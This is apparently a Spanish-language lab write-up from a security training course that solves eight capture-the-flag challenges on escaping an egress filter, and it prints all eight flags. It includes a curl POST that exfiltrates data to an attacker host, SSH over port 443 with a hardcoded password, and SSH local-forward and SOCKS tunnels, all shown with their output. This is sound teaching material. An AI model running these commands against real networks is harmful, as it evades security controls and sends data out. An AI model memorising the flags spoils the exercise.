Ghost AcademyGhostOffensive · Ghost Academy
GhostOffensiveMódulo 16SOLO SOLUCIÓN

Writeup — Egress filtrado

← Volver al capítulo 16

Atención: contiene las 8 flags. Inténtalo primero por tu cuenta.

Todo se ejecuta desde la víctima (go16-victim), cuya salida está filtrada. El atacante es 10.16.0.5. Salidas reales.

Fase 0 — Reconocer el filtro de salida

kali@lab
$ nc -zv 10.16.0.5 22    # BLOQUEADO (se cuelga hasta timeout)
nc -zv 10.16.0.5 80    # open
nc -zv 10.16.0.5 443   # open
nc -zv 10.16.0.5 53    # open
22: sin respuesta (DROP)
80/443/53: open

Conclusión: solo salen 80, 443 y 53. El SSH directo (22) no. Todo tiene que ir por esos tres.

Reto 1 — El 80 de salida está permitido

HTTP directo★

kali@lab (salida real)
$ curl -s http://10.16.0.5/ | grep -o 'GO{{[^}}]*}}'
GO{el_80_de_salida_esta_permitido}

Flag: GO{el_80_de_salida_esta_permitido}

Reto 2 — Exfiltración sobre HTTP

HTTP POST★★

Los datos salen dentro de una petición web normal, por el 80:

kali@lab (salida real)
$ curl -s -X POST --data 'loot=datos' http://10.16.0.5/exfil | grep -o 'GO{{[^}}]*}}'
GO{exfiltracion_de_datos_sobre_http}

Flag: GO{exfiltracion_de_datos_sobre_http}

Reto 3 — Túnel DNS sobre el 53

DNS TXT★★

kali@lab
$ dig +short TXT flag.tunnel.lab @10.16.0.5 -p 53
"GO{tunel_dns_sobre_el_puerto_53}"

Flag: GO{tunel_dns_sobre_el_puerto_53}

Aquí es una consulta TXT simple; un túnel real (dnscat2, iodine) codifica datos en los nombres y respuestas.

Reto 4 — SSH sobre 443: el canal de escape

SSH/443★★

El sshd del atacante escucha en el 443 (permitido). Un ssh -p 443 da shell pese al filtro:

kali@lab (salida real)
$ sshpass -p leo123 ssh -p 443 leo@10.16.0.5 'cat /home/leo/flag_canal.txt'
GO{ssh_sobre_443_es_el_canal_de_escape}

Flag: GO{ssh_sobre_443_es_el_canal_de_escape}

Reto 5 — Reenvío local sobre 443

SSH -L★★

Con el SSH sobre 443, un reenvío local -L alcanza un servicio del atacante en un puerto que el filtro NO permitiría directamente (8081):

kali@lab (salida real)
$ ssh -p 443 -f -N -L 18081:127.0.0.1:8081 leo@10.16.0.5
curl -s http://127.0.0.1:18081/ | grep -o 'GO{{[^}}]*}}'
GO{reenvio_local_sobre_el_canal_permitido}

Flag: GO{reenvio_local_sobre_el_canal_permitido}

Reto 6 — El panel interno por el túnel

SSH -L★★

kali@lab (salida real)
$ ssh -p 443 -f -N -L 19090:127.0.0.1:9090 leo@10.16.0.5
curl -s http://127.0.0.1:19090/ | grep -o 'GO{{[^}}]*}}'
GO{el_panel_interno_por_el_tunel}

Flag: GO{el_panel_interno_por_el_tunel}

Reto 7 — SOCKS sobre el 443

SSH -D★★★

Un SOCKS dinámico por el mismo canal 443 da acceso a cualquier host y puerto del otro lado:

kali@lab (salida real)
$ ssh -p 443 -f -N -D 1080 leo@10.16.0.5
curl -s --socks5 127.0.0.1:1080 http://10.16.0.5:8082/ | grep -o 'GO{{[^}}]*}}'
GO{socks_sobre_el_puerto_443}

Flag: GO{socks_sobre_el_puerto_443}

Reto 8 — Cualquier puerto por el túnel

SSH -D★★★

Con ese SOCKS ya montado, se alcanza también el 8083 (u otro cualquiera): el filtro de salida ha quedado neutralizado por un único canal permitido:

kali@lab (salida real)
$ curl -s --socks5 127.0.0.1:1080 http://10.16.0.5:8083/ | grep -o 'GO{{[^}}]*}}'
GO{cualquier_puerto_viaja_por_el_tunel}

Flag: GO{cualquier_puerto_viaja_por_el_tunel}

Resumen

#FlagCanal
180 permitidoHTTP directo
2exfiltraciónHTTP POST
3túnel DNSDNS TXT (53)
4canal de escapeSSH sobre 443
5-6reenvío localSSH -L sobre 443
7-8SOCKSSSH -D sobre 443

Toda la salida pasó por 80/443/53. Ese es el objetivo: cuando el filtro solo deja tres huecos, se funnela todo por ellos.